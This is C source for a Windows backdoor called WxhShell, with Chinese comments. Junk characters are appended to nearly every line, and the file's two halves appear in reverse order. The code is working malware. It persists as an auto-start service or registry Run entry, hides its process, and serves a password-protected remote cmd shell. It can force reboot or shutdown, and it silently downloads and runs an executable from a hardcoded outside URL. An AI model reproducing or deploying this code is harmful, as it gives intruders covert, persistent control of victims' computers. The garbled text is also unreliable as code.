    send(wsh,msg_ws_err,strlen(msg_ws_err),0); fe$OPl~  
    else { Ch,%xs.)G  
    closesocket(wsh); m(eR Wx&pZ  
    ExitThread(0); Bl!R bh\  
    } DfV'1s4y  
    break; >{@:p`*  
    } {u{8QKeC  
  // 获取shell jz"-E  
  case 's': { `d6,]'  
    CmdShell(wsh); .:V4>  
    closesocket(wsh); kb2M3%6 V  
    ExitThread(0); *Ph@XkhU  
    break; UcxMA%Pw7$  
  } >nOzz0,  
  // 退出 +!Lz]@9K  
  case 'x': { iDrQ4>  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Y4)v>&H  
    CloseIt(wsh); FvaelB  
    break; x !QA* M  
    } 1y}tPkOe7O  
  // 离开 6 ~d\+aV  
  case 'q': { H!vX#  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); U9]&~jR  
    closesocket(wsh); nMU[S +  
    WSACleanup(); i $W E1-  
    exit(1); Z|IFT1K  
    break; o]O  
        } sm96Ye{O{  
  } jhkNi`E7  
  } 4oywP^I  
t o2y#4'.  
  // 提示信息 UgAG2  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); vQhi2J'  
} f$p7L.d<  
  } T$r?LIa ,Q  
qbu5aK}+  
  return; `R{ ZED l'  
} +U= !svE  
RuuXDuu:VL  
// shell模块句柄 Zg~6  
int CmdShell(SOCKET sock) #;~dA  
{ @(_f}S gfE  
STARTUPINFO si; |?Bb{Es  
ZeroMemory(&si,sizeof(si)); aT`. e  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 2#g4R  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 8jz[;.jP",  
PROCESS_INFORMATION ProcessInfo; F}dq~QCzw  
char cmdline[]="cmd"; $mZpX:7/u8  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); CY i{WV(:  
  return 0; bf&k:.v'8  
} Cv;\cI"&  
ga+Z6|t  
// 自身启动模式 w\2yippI  
int StartFromService(void) qk=0ovUzg  
{ tF=Y3W+L  
typedef struct ?=a,  
{ 2<GN+W v[#  
  DWORD ExitStatus; Jk3V]u  
  DWORD PebBaseAddress; 1?N$I}?  
  DWORD AffinityMask; dpI9DzA;  
  DWORD BasePriority; RRBBz7:~  
  ULONG UniqueProcessId; j+7ok 5J#  
  ULONG InheritedFromUniqueProcessId; yNk E>  
}   PROCESS_BASIC_INFORMATION; 3PU'd^  
`UH 1B/  
PROCNTQSIP NtQueryInformationProcess; X"pp l7o  
|y~un9j +  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; qs'ggF1  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; b"QeCw#v`>  
]53'\TH  
  HANDLE             hProcess; ajMI7j^G  
  PROCESS_BASIC_INFORMATION pbi; PquATAzQA  
@E5 }v  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 1ps_zn(  
  if(NULL == hInst ) return 0; x.-d>8-!]c  
I'%(f@u~  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); D"RxI)"HP  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 5xF R7%_&  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 'YUx&F cM  
sM8AORd  
  if (!NtQueryInformationProcess) return 0; vhaUV#V"  
zgR@-OtFZ  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId());  e+=IGYC  
  if(!hProcess) return 0; "=r"c$xou  
- yn;Jo2-  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Up|>)WFw"  
| *J-9  
  CloseHandle(hProcess); #v QyECf  
}4M4D/=  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); C;_*vi2u  
if(hProcess==NULL) return 0; )ls<"WTC.  
)TFBb\f>v  
HMODULE hMod; Q0cr^24/  
char procName[255]; u]%>=N(^2  
unsigned long cbNeeded; 'ffOFIz|=I  
!NfN16  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Rf .b_Y@O  
[6Nw)r(a(  
  CloseHandle(hProcess); z LHE;  
o I6o$C  
if(strstr(procName,"services")) return 1; // 以服务启动 gQ=g,X4  
QC\][I>  
  return 0; // 注册表启动 zkrcsc\Z~0  
} o) hQ]d  
9BM 8  
// 主模块 &QQ8ut,;  
int StartWxhshell(LPSTR lpCmdLine) ; 3WA-nn  
{ |vY0[#E8&  
  SOCKET wsl; d|8iD`sZz  
BOOL val=TRUE; %Kq`8  
  int port=0; &QL!Y{=Y6  
  struct sockaddr_in door; l[J'FR:  
z nc'  
  if(wscfg.ws_autoins) Install(); T)NnWEB  
"RF<i3{S  
port=atoi(lpCmdLine); P,[O32i#  
1TvR-.e  
if(port<=0) port=wscfg.ws_port; O7A W9*<  
P95A _(T=[  
  WSADATA data; [Nn ?:5"  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; @Ja8~5:  
VY9|8g/  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   u< ,c  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Q/ ,j v5  
  door.sin_family = AF_INET; IO\ >U(:vx  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); W l+[{#  
  door.sin_port = htons(port); uKcwVEu  
uM^eoh_  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { m% {4  
closesocket(wsl); G} &{]w@  
return 1; CK+GD "Z$  
} ! awfxH0  
6SIk,Isy8  
  if(listen(wsl,2) == INVALID_SOCKET) { d:"]*EZ [  
closesocket(wsl); $`emP Hel  
return 1; <+QXGz1  
} T&]J3TFJ  
  Wxhshell(wsl); x{X(Y]*1S  
  WSACleanup(); 6DFF:wrm&  
.kO;9z\B  
return 0; ~Zc=FP:1  
p(F}[bP  
} lo*)% fy  
<?UIux  
// 以NT服务方式启动 KnC;j-j  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) /@<Pn&Rq  
{ z3  lZ3  
DWORD   status = 0; L.uX  
  DWORD   specificError = 0xfffffff; ByrK|lVM0  
\V#2K><  
  serviceStatus.dwServiceType     = SERVICE_WIN32; |nN{XjNfP5  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Qv%"iSe~J  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; to1{7q  
  serviceStatus.dwWin32ExitCode     = 0; >_Dq)n;%  
  serviceStatus.dwServiceSpecificExitCode = 0; D9;2w7v  
  serviceStatus.dwCheckPoint       = 0; DJ)z~W2I*  
  serviceStatus.dwWaitHint       = 0; ^0/FZ)V8  
+%'S>g0W=  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); cVt MCgx  
  if (hServiceStatusHandle==0) return; ]Fc<% wzp  
G 1 rsd  
status = GetLastError(); N;9m&)@JR'  
  if (status!=NO_ERROR) 93-UA.+g  
{ ) /kf  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; XA~Cc<v  
    serviceStatus.dwCheckPoint       = 0; D~~&e<v'1  
    serviceStatus.dwWaitHint       = 0; w~NQAHAvo  
    serviceStatus.dwWin32ExitCode     = status; =""z!%j  
    serviceStatus.dwServiceSpecificExitCode = specificError; P9)E1]Dc$  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Z.b}   
    return; iwnctI  
  } Zr0bVe+h  
B>3joe}  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; |&+0Tg~ZE  
  serviceStatus.dwCheckPoint       = 0; Fq6sl}b(On  
  serviceStatus.dwWaitHint       = 0; Tl^9!>\Q  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); E|t. 3  
} ze<Lc/;X~  
K85;7R5  
// 处理NT服务事件,比如:启动、停止 ccc*"_45#  
VOID WINAPI NTServiceHandler(DWORD fdwControl) (5s$vcK  
{ ieN}Ajl2  
switch(fdwControl) 8IYn9<L  
{ Q`"gKBN1  
case SERVICE_CONTROL_STOP: {8)Pke  
  serviceStatus.dwWin32ExitCode = 0; .{` :  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; W=fw*ro  
  serviceStatus.dwCheckPoint   = 0; .5ap9li]  
  serviceStatus.dwWaitHint     = 0; B \U9F5  
  { U[EM<5@I  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); TBN0uk  
  } hjVct r  
  return; x=g=e <_  
case SERVICE_CONTROL_PAUSE: RKu'WD?sdH  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ^t&S?_DSZ  
  break; Q k e8BRBn  
case SERVICE_CONTROL_CONTINUE: B? $9M9  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; *C81DQ  
  break; $4^cbk  
case SERVICE_CONTROL_INTERROGATE: =IQ+9Fl2  
  break; q6 h'=By  
}; ~c&ygL3  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); P|> fO'  
} Yv?nw-HM  
sb Wn1 T U  
// 标准应用程序主函数 9`P<|(  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Gkz\By  
{ >h^CC*&'pw  
WaY_{)x  
// 获取操作系统版本 yrp5\k*{y  
OsIsNt=GetOsVer(); hk =nXv2M  
GetModuleFileName(NULL,ExeFile,MAX_PATH); F)ak5  
{:U zW\5l)  
  // 从命令行安装 uhi(Gny.  
  if(strpbrk(lpCmdLine,"iI")) Install(); k8 !|WqfP  
#wXq'yi  
  // 下载执行文件 woCmpCN*I  
if(wscfg.ws_downexe) { E+LAE/v@  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) \qx$h!<  
  WinExec(wscfg.ws_filenam,SW_HIDE); >WfkWUb  
} 0p"l}Fu@`  
lSGtbSyDI  
if(!OsIsNt) { toD v~v  
// 如果时win9x,隐藏进程并且设置为注册表启动 3uSj5+@q6  
HideProc(); td*1  
StartWxhshell(lpCmdLine); i3bH^WwE&k  
} ?b?6/_W~R  
else ({XB,Rm  
  if(StartFromService()) h<)YZ[;x  
  // 以服务方式启动 nQe^Bn  
  StartServiceCtrlDispatcher(DispatchTable); o~Jce$ X  
else b-Q*!U t  
  // 普通方式启动 7jss3^.wA  
  StartWxhshell(lpCmdLine); xLxXc!{J5  
=L,s6J8_'  
return 0; i2. +E&3v  
} %gK@ R3p  
!GB\-(  
> -P UY  
asDk@G cu  
=========================================== {y5v"GR{YM  
05 P#gs`<  
Lp!4X1/|\  
!*[Fw1-J  
G@Ha t  
*P\$<4l  
" tM&O<6Y  
]>j>bHG  
#include <stdio.h> OVwcjhQ  
#include <string.h> /y8=r"'G  
#include <windows.h> #~3$4j2U(y  
#include <winsock2.h> iME )Jl&  
#include <winsvc.h> 0:NCIsIm<  
#include <urlmon.h> RKIBFP8.  
v[k;R  
#pragma comment (lib, "Ws2_32.lib") .[%^~q7  
#pragma comment (lib, "urlmon.lib") /INjP~C  
$KSdNFtM)A  
#define MAX_USER   100 // 最大客户端连接数 GyirE`  
#define BUF_SOCK   200 // sock buffer MHl ffj  
#define KEY_BUFF   255 // 输入 buffer U +c ?x2\  
UE:';(t  
#define REBOOT     0   // 重启 |p4D!M+$7  
#define SHUTDOWN   1   // 关机 g8=j{]~C  
}> q%##<n  
#define DEF_PORT   5000 // 监听端口 Uq}FrK}  
#6fQ$x(F#j  
#define REG_LEN     16   // 注册表键长度 $&fP%p  
#define SVC_LEN     80   // NT服务名长度 A_h|f5  
\nfjz\"R?b  
// 从dll定义API ){-Tt`0(u  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); q mJ#cmN  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);  c@eQSy  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); j ^Tb=  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 8IeE7  
uPe&i5YR  
// wxhshell配置信息 p(B^](?  
struct WSCFG { ,, 8hU7P  
  int ws_port;         // 监听端口 3shRrCL0mf  
  char ws_passstr[REG_LEN]; // 口令 }da}vR"iL  
  int ws_autoins;       // 安装标记, 1=yes 0=no Eo\pNz#)  
  char ws_regname[REG_LEN]; // 注册表键名 )$EmKOTt:  
  char ws_svcname[REG_LEN]; // 服务名 pr;n~E 'kq  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 r6JQRSakR  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 H0!LiazA>  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 v&7yqEm}B  
int ws_downexe;       // 下载执行标记, 1=yes 0=no |:H 9#=  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" D^_]x51>  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 B//2R)HS  
0|Rt[qwKb@  
}; EgE% NY~  
I{/}pr>  
// default Wxhshell configuration 3np |\i  
struct WSCFG wscfg={DEF_PORT, =3~5I&  
    "xuhuanlingzhe", 1 N{unS  
    1, %`]&c)&#Z  
    "Wxhshell", G+_Q7-o&d6  
    "Wxhshell", pB;U*lt  
            "WxhShell Service",  1{fu  
    "Wrsky Windows CmdShell Service", [Re.sX}$Y  
    "Please Input Your Password: ", _nUvDdEs,  
  1, [Sj _=  
  "http://www.wrsky.com/wxhshell.exe", =c-Y >  
  "Wxhshell.exe" /v<FH}  
    }; 0uZL*4A+C  
8I>'x f  
// 消息定义模块 ??]b,f4CNa  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; n_ 3g  
char *msg_ws_prompt="\n\r? for help\n\r#>"; =<BPoGs5  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; S9 p*rk ~  
char *msg_ws_ext="\n\rExit."; ' ?4 \  
char *msg_ws_end="\n\rQuit."; dmB _`R  
char *msg_ws_boot="\n\rReboot..."; KUV(vAY,  
char *msg_ws_poff="\n\rShutdown..."; pW7#&@AR  
char *msg_ws_down="\n\rSave to "; TPBL|^3K  
r_"=DLx6  
char *msg_ws_err="\n\rErr!"; bMA\_?  
char *msg_ws_ok="\n\rOK!"; 3+<f7  
s ahXPl%;U  
char ExeFile[MAX_PATH]; Ye=c;0V(w  
int nUser = 0; ?hFG+`"W  
HANDLE handles[MAX_USER]; +A;AX.mr  
int OsIsNt; su}n3NsJ  
@cS(Bb!(M  
SERVICE_STATUS       serviceStatus; >;sz(F3)  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; HV?Q{X K.b  
JK%UaEut=  
// 函数声明 .:~{+ <*`  
int Install(void); (drDC1\  
int Uninstall(void); EGL7z`nt  
int DownloadFile(char *sURL, SOCKET wsh); MnPk+eNJm  
int Boot(int flag); yq=rv$.s  
void HideProc(void); |34M.YjA  
int GetOsVer(void); 5/E7@h ,  
int Wxhshell(SOCKET wsl); 2lu AF2  
void TalkWithClient(void *cs); )N'-A p$g  
int CmdShell(SOCKET sock); n>XfXt =  
int StartFromService(void); *SmR|Qy  
int StartWxhshell(LPSTR lpCmdLine); XU*4MU^'  
eZ G#op  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ?qmJJ5Gn  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); w(N$$  
#xoFcjRE  
// 数据结构和表定义 Zl\$9Q_  
SERVICE_TABLE_ENTRY DispatchTable[] = -;Ij ,  
{ U/s!Tb>`  
{wscfg.ws_svcname, NTServiceMain}, 9Qb6ek  
{NULL, NULL} l+r3|b  
}; ;CtTdr  
KW@][*\uC  
// 自我安装 4/N{~  
int Install(void) mHB0eB'l  
{ 7L4~yazmK  
  char svExeFile[MAX_PATH]; F&_b[xso7  
  HKEY key; jU}iQM  
  strcpy(svExeFile,ExeFile); L!LhH  
K} ) w  
// 如果是win9x系统,修改注册表设为自启动 B.#.gB#C  
if(!OsIsNt) { eJy}W /  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { >4G~01  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Q3'L\_1L  
  RegCloseKey(key); BCI[jfd7  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { F@ld#O  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); C@P*:L_  
  RegCloseKey(key); _@D"XL#L  
  return 0; [Te"|K':  
    } \Gm\sy  
  } laQ{nSVBm  
} C~X"ZW:d[  
else {  nJ|M  
d "%6S*dL  
// 如果是NT以上系统,安装为系统服务 ]j+J^g  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ,382O$C  
if (schSCManager!=0) 9YvK<i&I  
{ <i ";5+  
  SC_HANDLE schService = CreateService 7?p>v34A  
  ( Vv_lBYV  
  schSCManager,  V$fn$=  
  wscfg.ws_svcname, `9& ~fWu  
  wscfg.ws_svcdisp, D16w!Mnz{K  
  SERVICE_ALL_ACCESS, fA"9eUu  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , K# kMz#B+i  
  SERVICE_AUTO_START, ZkqZO#nq C  
  SERVICE_ERROR_NORMAL, uhvn1"  
  svExeFile, o#QS: '|  
  NULL, !-~sxa280r  
  NULL, 2rWPqG4e  
  NULL, D$fWeG{f  
  NULL, #By~gcN  
  NULL :zQNnq:|  
  ); dfMi]rs!<  
  if (schService!=0) Lk]W?  
  { 6FFM-9*|[  
  CloseServiceHandle(schService); %fIYWu`X  
  CloseServiceHandle(schSCManager); ` 1v Dp.  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); BV)) #D9  
  strcat(svExeFile,wscfg.ws_svcname); vEc<|t  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { c+ukVn`r  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Y(;u)uN_  
  RegCloseKey(key); ^ pNA_s!S  
  return 0; Ov@vNj&  
    } j_0xE;g"]  
  } yqKSaPRA  
  CloseServiceHandle(schSCManager); ziXI$B4-  
} N gagzsJ=  
} dYZB> OS  
i}/Het+(  
return 1; }t0JI3  
} ddwokXx (  
Lt_A&  
// 自我卸载 (g3DI*Z  
int Uninstall(void) Ns$,.D  
{ v<vaPvW  
  HKEY key; !,OY{='  
2Ft#S8  
if(!OsIsNt) { zsr;37  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { >9,LN;Ic  
  RegDeleteValue(key,wscfg.ws_regname); ,0aRHy_^  
  RegCloseKey(key); /pL'G`  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { w3FEX$`_  
  RegDeleteValue(key,wscfg.ws_regname); R,`3 SW()  
  RegCloseKey(key); ltlnXjRUv  
  return 0; OWZ;X}x  
  } .RpWE.C  
} w"q^8"j!  
} :_:o%  
else { " ""pe+Y  
XB<Q A>dLh  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); N=j$~,yG  
if (schSCManager!=0) o('6,D  
{ Tbj}04;I  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); q{XeRQ'/  
  if (schService!=0) /hYFOZ  
  { d0YQLh  
  if(DeleteService(schService)!=0) { XblZlWP#  
  CloseServiceHandle(schService); &#;lmYyaui  
  CloseServiceHandle(schSCManager); wPvYnhr|G-  
  return 0; `S|T&|ad0  
  } xTy)qN]P  
  CloseServiceHandle(schService); `8kL=%(h  
  } W?gelu]  
  CloseServiceHandle(schSCManager); lz4M)pL^  
} #ds@!u+&  
} 7 b 8pWM  
>M7(<V  
return 1; SN;_.46k  
} %=)%$n3=-M  
kudXwj  
// 从指定url下载文件 hR,5U=+M7  
int DownloadFile(char *sURL, SOCKET wsh) ^qNZ!V4T  
{ 2XrYm"6w  
  HRESULT hr; zKQXmyO  
char seps[]= "/"; c@ lH  
char *token; [Uw3.CVh  
char *file; Mo]  
char myURL[MAX_PATH]; %UB+N8x`a  
char myFILE[MAX_PATH]; %$F_oO7"  
X<d`!,bn@  
strcpy(myURL,sURL); [0H]L{yV  
  token=strtok(myURL,seps); .[o`TlG%  
  while(token!=NULL) yGC3B00Z  
  { $1n\jN  
    file=token; $*C'{&2  
  token=strtok(NULL,seps); yc0_ 7Im?  
  } WQv`%%G2>  
rSKZc`<^  
GetCurrentDirectory(MAX_PATH,myFILE); Muok">#3.  
strcat(myFILE, "\\"); [fg-"-+:M  
strcat(myFILE, file); T^S $|d  
  send(wsh,myFILE,strlen(myFILE),0); -*;JUSGh  
send(wsh,"...",3,0); 5}:`CC2,S~  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Qb@i_SX(fs  
  if(hr==S_OK) ^4=%~Yx  
return 0; Asli<L(?`  
else }^azj>p5  
return 1; 1SG^X-(GM/  
:`Xg0J+P  
} |H;+9(  
s,~g| I\  
// 系统电源模块 h"dn:5G:=  
int Boot(int flag) N a<);Pg  
{ Mh=j^ [4Q  
  HANDLE hToken; w\ddC DZ  
  TOKEN_PRIVILEGES tkp; R/kF,}^F  
*mkL>v &  
  if(OsIsNt) { gaR~K  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); y)b=7sU  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); v_,'NA0  
    tkp.PrivilegeCount = 1; ._6e#=  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 7%5EBH &  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); HAAU2A9B2  
if(flag==REBOOT) { Wo~;h (6  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) g1&q6wCg|  
  return 0; > mEB,  
} vvF]g.,  
else { lMe+.P|  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) S^nI=HTm  
  return 0; ]\*_}  
} SzyaVBD3  
  } 0lS=-am  
  else { Nq#B4Zx  
if(flag==REBOOT) { {tUxRX  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) =$#=w?~%  
  return 0; n7L|XkaQ  
} Y, {pG]B$w  
else { 7,FhKTV1/  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) sZ#U{LI  
  return 0; `W2 o~r*&  
} xo#K_"E  
} =$uSa7t#  
F87c?Vh)K  
return 1; 6!v$"u|[!'  
} Rln% Y  
eDsc_5I  
// win9x进程隐藏模块 0+Q; a  
void HideProc(void) URj2 evYW  
{ abg` : E  
*@g>~q{`  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Gq{);fq  
  if ( hKernel != NULL ) I.kuYD62  
  { Cps' l  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); f'O cW* t  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ov,[F< GT  
    FreeLibrary(hKernel); &)!4rABn  
  } _J>!K'Dz  
.Xk#Cwm'  
return; O T .bXr~  
} Dmr3r[  
'?d5L+9  
// 获取操作系统版本 H Yw7*  
int GetOsVer(void) x2tcr+o  
{ d t^Hd]+^\  
  OSVERSIONINFO winfo; !nTI(--  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 2j=HxE  
  GetVersionEx(&winfo); @Wa,  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 8p PQ   
  return 1; h=dFSK?*D  
  else ?s[!JeUA  
  return 0; rbI 7 3'  
} t]8nRZ1  
,ygDNF  
// 客户端句柄模块 a2B9 .;F  
int Wxhshell(SOCKET wsl) EOo,olklC  
{ oT"7O 5v  
  SOCKET wsh; DUb8 HgcV}  
  struct sockaddr_in client; rA A?{(!9x  
  DWORD myID; X- `PF  
+7r?vo1  
  while(nUser<MAX_USER) DtkOb,wY  
{ hpo*5Va  
  int nSize=sizeof(client); lA n^)EL  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 7towjw r  
  if(wsh==INVALID_SOCKET) return 1; vCn\_Nu;W&  
~=?^v[T1  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); dY`P  
if(handles[nUser]==0) t(xe*xS  
  closesocket(wsh); [@/s! i @  
else e)aH7Jj#  
  nUser++; YqYobL*q/  
  } k\A4sj  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); jfpbD /  
=1zRm >m  
  return 0; |l:,EA_v|  
} fHXz{,?/w  
U _~r0  
// 关闭 socket 8}?w %FsN#  
void CloseIt(SOCKET wsh) !&pk^VFl+  
{ W$:D#;jz`h  
closesocket(wsh); p/KG{-f,  
nUser--; ]*<!|;q  
ExitThread(0); ! l"*DR  
} 76b2 3|  
bpdluWS+)  
// 客户端请求句柄 rN`-ak  
void TalkWithClient(void *cs) e5m]mzF@  
{ Dw.Pv)'$  
\!wo<UX%  
  SOCKET wsh=(SOCKET)cs; iw I}  
  char pwd[SVC_LEN]; 3W}qNY;J  
  char cmd[KEY_BUFF]; %S<))G  
char chr[1]; lhB;jE  
int i,j; + De-U.  
1l\. >H\E  
  while (nUser < MAX_USER) { TmEh$M  
7x.] 9J  
if(wscfg.ws_passstr) { UD_8#DO{m1  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); G4wJv^6i9  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Wx8n)  
  //ZeroMemory(pwd,KEY_BUFF); ]Ryg}DOQ  
      i=0; n1rJ^q-G  
  while(i<SVC_LEN) { U[6 ~ad a  
S y^et  
  // 设置超时 yLQwG.,  
  fd_set FdRead; Za7!n{? 0  
  struct timeval TimeOut; t LM/STb6  
  FD_ZERO(&FdRead); ET\rd5Po  
  FD_SET(wsh,&FdRead); jV(b?r)eT{  
  TimeOut.tv_sec=8; D{M& >.  
  TimeOut.tv_usec=0; (VBO1f  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); a#m T@l\  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); '-_tF3x  
DiSU\?N2'  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); |j}%"wOh  
  pwd=chr[0]; pPJE.[)V/  
  if(chr[0]==0xd || chr[0]==0xa) { a<P?4tbF  
  pwd=0; RU\MT'E>(  
  break; CykvTV Q  
  } T*](oA@  
  i++; vxXrVPU3  
    } _cd=PZhI  
_EC H(  
  // 如果是非法用户,关闭 socket LNM#\fb  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); +d=8/3O%  
} Y 9@ 2d  
;2'/rEq4o  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); q6eD{/4a1  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ;;mr?'R  
wQ '_, d  
while(1) { F\-oZ#g  
`}~NZ  
  ZeroMemory(cmd,KEY_BUFF); FH7l6b,^  
lD,;xuQ  
      // 自动支持客户端 telnet标准   TCK<IZKLqK  
  j=0; 3($tD*!o  
  while(j<KEY_BUFF) { ]~\%ANoi  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ef:YYt{|q  
  cmd[j]=chr[0]; B4w/cIj_  
  if(chr[0]==0xa || chr[0]==0xd) { L+.-aB2!d  
  cmd[j]=0; UGQH wz  
  break; `ex>q  
  } HlXEU$e  
  j++; ||'A9  
    } GyGF<%nq  
OVEQ^\Q5D  
  // 下载文件 vd0uI#g%#  
  if(strstr(cmd,"http://")) { .`/6[Zp  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); c='uyx  
  if(DownloadFile(cmd,wsh)) 2@:Ztt6~  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); jB3Rue:+g  
  else SlD7 \X&~  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); no7Q%O9  
  } Q,n Xc  
  else { +]0/:\(B  
FTcXjWBPF9  
    switch(cmd[0]) { htOVt\+!34  
  k<k@Tlo  
  // 帮助 =S|dzgS/  
  case '?': { l *+9R  
